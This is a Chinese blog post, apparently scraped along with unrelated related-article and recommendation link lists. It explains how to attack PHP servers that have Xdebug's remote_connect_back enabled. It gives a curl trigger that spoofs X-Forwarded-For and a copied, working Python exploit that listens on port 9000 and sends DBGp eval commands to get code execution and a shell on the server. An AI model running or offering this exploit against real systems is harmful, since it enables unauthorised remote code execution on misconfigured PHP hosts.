xdebug插件攻击
title: xdebug插件攻击
date: 2017-09-30 17:08:38
tags:
前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.自己搭环境记录一下.
关于Xdebug的攻击
刚学php的时候用的phpstorm,当时为了动态调试,配置Xdebug配了很久,当时对这个有一个比较模糊的认识,当时觉得是在浏览器还有ide还有server之间是有某些数据交互的,第一次配的的时候当时ide一直监听收不到数据,当时想要是自己可以操作数据来测试哪里出问题就好了,一直耿耿于怀,前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.
Xdebug调试的工作流程
1.ide开始调试监听本地9000端口
2.浏览器发送一个带有XDEBUG_SESSION_START的请求发给服务端
3.服务端收到这个参数,就会通知xdebug
4.xdebug收到通知了就会向来源的地址的9000端口发送一个请求
5.ide收到请求并响应建立连接
之后就是相互通讯然后调试代码了
首先Xdebug有关于远程调试是使用的DBGp协议
下面是有关于通讯流程的一个演示
利用条件
一般来说关于xdebug.remote_host这个配置默认是localhost也就是默认通讯的的都是localhost,这明显不利于我们的利用
但是如果xdebug.remote_connect_back这个配置启用的话xdebug.remote_host就会被忽略,并通过$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']变量来获取ip
还有一个就是要开启xdebug.remote_enable,这个开关控制Xdebug是否应尝试联系正在监听主机和端口的调试客户端
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
也就是这两个是必要条件
利用方式
DBGp 的文档有一些敏感的操作
1.读文件
source -i transaction_id -f fileURI
2.eval
eval -i transaction_id - {DATA}
只需要构造请求的参数,XDEBUG_SESSION_START=xxx
还需要构造XFF头
然后检测服务端是否对XFF的地址的9000端口进行请求,就可以判断是否可以利用,
curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"
利用的exp这里之间粘贴原文章的,就是建立一个tcp的连接监听9000端口然后安装协议发送数据就可以了
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
利用方式就是先运行exp监听9000端口
获取连接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公网ip地址"
然后exp接收到连接就可以调用system函数弹shell了.
xdebug插件攻击的更多相关文章
- sublime 修改Xdebug插件快捷键
最近在用Xdebug插件 感觉挺好用 但是快捷键不太舒服,特别是调试下一步的时候,比较麻烦,按键较多: 所以想DIY下 但是preferences->package setting ->X ...
- php配置xdebug插件,断点调试
xdebug 下载地址:https://xdebug.org 1.项目目录下新建phpinfo(); 文件: 2.快速查找符合自己的phpxdebug插件: https://xdebug.org/wi ...
- 本地xdebug调试搭建 Laravel+homestead+phpstorm
1.在homestead virtual box安装和配置xdebug 先在终端运行vagrant up 和 vagrant ssh,ssh远程到homestead,然后复制以下代码到一个shell文 ...
- PHPStorm Xdebug配置
下载PHSTORM https://download.jetbrains.com/webide/PhpStorm-2016.1.2.exe http://idea.lanyus.com/查找授权服务器 ...
- PhpStorm 配置Xdebug
IDE => Xdebug => Apache(XAMPP) => Firefox + easist Xdebug 1>XAMPP停止apache服务;2>在安装目录下找 ...
- NETBEANS + XDEBUG + IIS PHP 代码 调试 DEBUG
参考: http://domainwebcenter.com/?p=936 http://www.sitepoint.com/debugging-and-profiling-php-with-xdeb ...
- 史上最佳 Mac+PhpStorm+XAMPP+Xdebug 集成开发和断点调试环境的配置
在上一篇 PHP 系列的文章<PHP 集成开发环境比较>中,我根据自己的亲身体验,非常简略的介绍和对比了几款常用的集成开发环境,就我个人而言,比较推崇 Zend Studio 和 PhpS ...
- mac OS X下PhpStorm+MAMP PRO+Xdebug+FireFox集成开发和断点调试环境配置
一.环境及软件 1.macbook pro 2.Phpstorm 3.MAMP PRO 4.FireFox 二.环境搭建 1.PhpStorm导入项目 下载PhpStorm并安装,网上随便找个注册码即 ...
- phpeclipse xdebug 配置配置 -摘自网络
一.安装配置 1.访问 http://www.phpeclipse.com/ ,找到右边的 1.2.x dev nightly下的http://update.phpeclipse.com/update ...
随机推荐
- k8s内运行ubuntu容器
k8s内运行ubuntu镜像 环境 互相能访问的4台机器master,node01,node02,node03,4核心,内存8G 使用root操作 安装k8s 在master安装docker.kube ...
- 倍增LCA模板
//https://www.luogu.org/problemnew/show/P3379#include<bits/stdc++.h> #define maxn 500010 #defi ...
- HTTP图解笔记(六)—— 第6章 HTTP首部
前言 为啥第一章直接跳到第六章呢,因为...博主当初看书的时候挑着看..只看了第一章和第六章┗( ▔, ▔ )┛ HTTP图解对于不熟悉HTTP的小伙伴来说是很好的书籍,建议入手! 一. HTTP报文 ...
- 关于neo4j初入门(3)
这一章主要是函数的部分 UPPER 它需要一个字符串作为输入并转换为大写字母. UPPER (<input-string>)<input-string>可以是来自Neo4J数据 ...
- oa办公系统是什么?对企业有什么作用?
OA办公系统是指利用计算机网络帮助企业实现办公自动化,用系统软件代替传统的手工工作帮助企业处理内部事务,例如文档共享.部门协作.报销.业务流程等等,最终目的帮助企业提高工作效率,实现利益最大化. 随着 ...
- 自建CDN Xnign产品指标
Xnign-X1 Xnign-X1 性能参数 参考值 L7 HTTP RPS (128并发请求) 250W QPS L7 HTTP CPS (128并发请求) 110W QPS L7 HTTP RPS ...
- C++模板编程与宏编程经验谈
C++模板编程与宏编程经验谈 有人说C 与C++的不同主要是因为C++支持模板,不要说区别是面向对象化编程,因为C同样能很好的实现对象化编程,面向对象化其实只是思想,在很多语言中都能实现,区别在于实现 ...
- shell 条件测试
1.文件相关 -e 判断文件或者文件夹是否存在 -d 判断目录是否存在 -f 判断文件是否存在 -r 判断是否有读权限 -w 判断是否有写权限 -x 判断是否有执行权限 1.1命令行使用 [root@ ...
- 使用jmeter做接口测试
1.启动jmeter. 我们可以找到Jmeter/bin 目录下的jmeter-server这个脚本,运行即可. 在下图打开的Jmeter 页面中,右键“测试计划” -> “添加” -> ...
- Celery异步处理
1.Celery概述 1.1问题抛出 我们在做网站后端程序开发时,会碰到这样的需求:用户需要在我们的网站填写注册信息,我们发给用户一封注册激活邮件到用户邮箱,如果由于各种原因,这封邮件发送所需时间较长 ...